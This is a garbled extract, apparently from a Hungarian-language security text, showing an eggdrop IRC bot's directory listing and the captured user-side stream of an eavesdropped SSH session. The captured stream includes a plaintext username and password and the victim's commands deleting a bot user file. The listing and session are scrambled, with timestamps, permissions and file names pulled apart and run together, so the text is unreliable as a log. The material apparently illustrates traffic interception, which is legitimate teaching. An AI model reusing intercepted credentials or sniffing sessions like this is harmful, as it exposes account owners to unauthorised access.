12 12 23:06 20:46 23:06 22:32 22:19 21:23 23:35 22:34 . . .bash history .bash profile .bashrc .bashrc~ eggdrop eggdrop1.323targz 12 12 12 12 12 12 12 12 12 12 12 23:35 23:06 22:51 23:35 23:05 23:20 23:35 23:16 23:03 22:15 23:16 . . DEBUG Murd3R.chan Murd3R.notes Murd3R.spec Murd3R.user Murd3R.xtranfo Murd3r.conf Murd3r.xtranfo chattr.log 63 -rwxr-xr-x 1 viko viko 261980 Oct drwxr-sr-x 3 viko viko 1024 Oct drwxr-sr-x 4 viko viko 1024 Oct drwxr-sr-x 2 viko viko 1024 Oct drwxr-sr-x 2 viko viko 1024 Oct -rw-r--r-1 viko viko 41 Oct drwxr-sr-x 2 viko viko 1024 Oct -rw-r--r-1 viko viko 13 Oct -rw-rw-r-1 viko viko 5 Oct drwxr-sr-x 2 viko viko 1024 Oct -rw-r--r-1 viko viko 43 Oct -rw-r--r-1 viko viko 84 Oct -rw-r--r-1 viko viko 49 Oct $ rm murd3r.user rm: murd3r.user: No such file or directory $ rm Murd3R,^H ^H.user $ exit logout C.3 12 12 12 12 12 12 12 12 12 12 12 12 12 22:51 22:17 22:18 22:19 23:04 22:17 22:21 22:17 22:55 22:22 22:17 22:17 22:17 eggdrop filesys help language

log message modules motd pid.Murd3R scripts sende tmpcatlog westel Egy lehallgatott SSH kapcsolat felhasználó felőli adatfolyama username: iko password: viko4 ls -la cd eggdrop ls -la rm murd3r.user rm Murd3R,^H ^H.user exit 64